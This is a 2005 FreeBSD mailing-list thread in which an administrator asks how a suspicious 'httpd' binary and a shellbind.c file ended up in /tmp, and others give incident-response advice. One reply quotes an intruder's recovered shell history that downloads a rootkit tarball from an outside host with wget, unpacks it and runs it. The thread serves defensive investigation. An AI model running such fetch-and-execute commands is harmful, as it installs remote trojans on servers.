not from the log output you just showed, id look back further on the webserver logs, and also take a look on other running processes on your server, ps auxf ...
other good tools to find installed rootkits: rkhunter (youll find that in the ports collection, at least on a 5.3) sockstat.c (easy to find via google) and have a close look into your /proc fs, in case you have a procfs mounted. also check your webserver for world writeable directories, and for cross site scripting problems, that wget was called from the webserver looks like some kind of bug in a script, that is used by a webpage, that the attacker tried to use... On Wednesday 09 February 2005 18:41, Bret Walker wrote: > Thanks for letting me know. > > I found this in the my httpd error log: > > [Fri Jan 14 13:06:06 2005] [error] [client 129.xxx.xxx.xxx] File does not > exist: /usr/local/www/data/favicon.ico > wget: permission denied > ./httpd: not found > shellbind.c: In function `main': > shellbind.c:16: warning: passing arg 2 of `memset' makes integer from > pointer without a cast > shellbind.c: In function `main': > shellbind.c:16: warning: passing arg 2 of `memset' makes integer from > pointer without a cast > ./httpd: permission denied > ./httpd: permission denied > shellbind.c: In function `main': > shellbind.c:16: warning: passing arg 2 of `memset' makes integer from > pointer without a cast > ./httpd: permission denied > shellbind.c: In function `main': > shellbind.c:16: warning: passing arg 2 of `memset' makes integer from > pointer without a cast > ./httpd: permission denied > shellbind.c: In function `main': > shellbind.c:16: warning: passing arg 2 of `memset' makes integer from > pointer without a cast > [Fri Jan 14 21:40:12 2005] [error] [client 195.92.95.15] File does not > exist: /usr/local/www/data-dist/xyzzy > [Fri Jan 14 21:40:21 2005] [error] [client 195.92.95.15] File does not > exist: /usr/local/www/data-dist/xyzzy > [Sat Jan 15 21:36:33 2005] [error] [client 195.92.95.15] File does not > exist: /usr/local/www/data-dist/xyzzy > [Sun Jan 16 21:54:06 2005] [error] [client 195.92.95.15] File does not > exist: /usr/local/www/data-dist/xyzzy > [Sun Jan 16 23:58:22 2005] [error] mod_ssl: SSL handshake interrupted by > system [Hint: Stop button pressed in browser?!] (System error follows) > [Sun Jan 16 23:58:22 2005] [error] System: Connection reset by peer > (errno: 54) > > I also found shellbind.c in my /tmp directory. Is there a way to tell > what type of exploit was used to get these files on my system (ie OpenSSL > / PHP register_globals)? > > I've been monitoring this server from a port that mirrors its traffic > using Ethereal, and all seems to be okay now. I also cvsuped -Rr my > apache+mod_ssl install. > > Thanks, > Bret > > -----Original Message----- > From: [EMAIL PROTECTED] > [mailto:[EMAIL PROTECTED] On Behalf Of Oliver Leitner > Sent: Wednesday, February 09, 2005 8:48 AM > To: Bret Walker; freebsd-questions@freebsd.org > Subject: Re: httpd in /tmp - Sound advice sought > > > i know a certain hacking group who is trying to run their trojan as httpd, > i > discovered that info through some shell account i am running, that has > tried > to start this rootkit on our machine. > > heres a short view from the shell's history: > > --------------------- > wget geocities.com/setan_maya/taek.tar.gz > cd .. > ls > cd .. > ls > cd tmp > ls > wget geocities.com/setan_maya/taek.tar.gz > tar zxvf taek.tar.gz > ls > cd taek > ./httpd > chmod 755 httpd > ./httpd > ls > cd .. > rm -rf taek > rm taek.tar.gz > ----------------------- > > this clearly shows, that we have to do with a very dumb person, hence he > > 1. didnt cleaned his historyfile > 2. left the tar.gz file in his homedir > 3. loaded the rootkit from the same server he is running the group's > webpage > on. > 4. has a link to their chan on that page, and in the chan as ive monitored > > for 48hrs, ive found them posting their "successes" directly and > unencrypted. > > I have informed a number of providers and hosters, that had their webpage > posted into that chan, and informed them about the breakins, so far i got > no > message back from them. > > of course, its a longshot, but they didnt seem to check first if the > folder > tmp has the executable bit set at all, and they named their client like > the > file youve found. > > i hope this helps you further. > > Greetings > Oliver Leitner > Technical Staff > http://www.shells.at > > On Tuesday 08 February 2005 14:35, Bret Walker wrote: > > Last night, I ran chkrootkit and it gave me a warning about being > > infected with Slapper. Slapper exploits vulnerabilities in OpenSSL up > > to version 0.96d or older on Linux systems. I have only run 0.97d. > > The file that set chkrootkit off was httpd which was located in /tmp. > > /tmp is always mounted rw, noexec. > > > > I update my packages (which are installed via ports) any time there is > > a security update. I'm running Apache 1.3.33/PHP 4.3.10/mod_ssl > > 2.8.22/OpenSSL 0.97d on 4.10. Register_globals was on in PHP for a > > couple of weeks, but the only code that required it to be on was in a > > .htaccess/SSL password protected directory. > > > > Tripwire didn't show anything that I noted as odd. I reexamined the > > tripwire logs, which are e-mailed to an account off of the machine > > immediately after completion, and I don't > > see anything odd for the 3/4 days before or after the date on the file. > > (I don't scan /tmp) > > > > I stupidly deleted the httpd file from /tmp, which was smaller than > > the actual apache httpd. And I don't back up /tmp. > > > > The only info I can find regarding this file being in /tmp pertains to > > Slapper. Could something have copied a file there? Could I have done > > it by mistake at some point - the server's been up ~60 days, plenty of > > time for me to forget something? > > > > This is production box that I very much want to keep up, so I'm > > seeking some sound advice. > > > > Does this box need to be rebuilt? How could a file get written to > > /tmp, and is it an issue since it couldn't be executed? I run > > tripwire nightly, and haven't seen anything odd to the best of my > > recollection. I also check ipfstat -t frequently to see if any odd > > connections are happening. > > > > I appreciate any sound advice on this matter. > > > > Thanks, > > Bret -- By reading this mail you agree to the following: using or giving out the email address and any other info of the author of this email is strictly forbidden. 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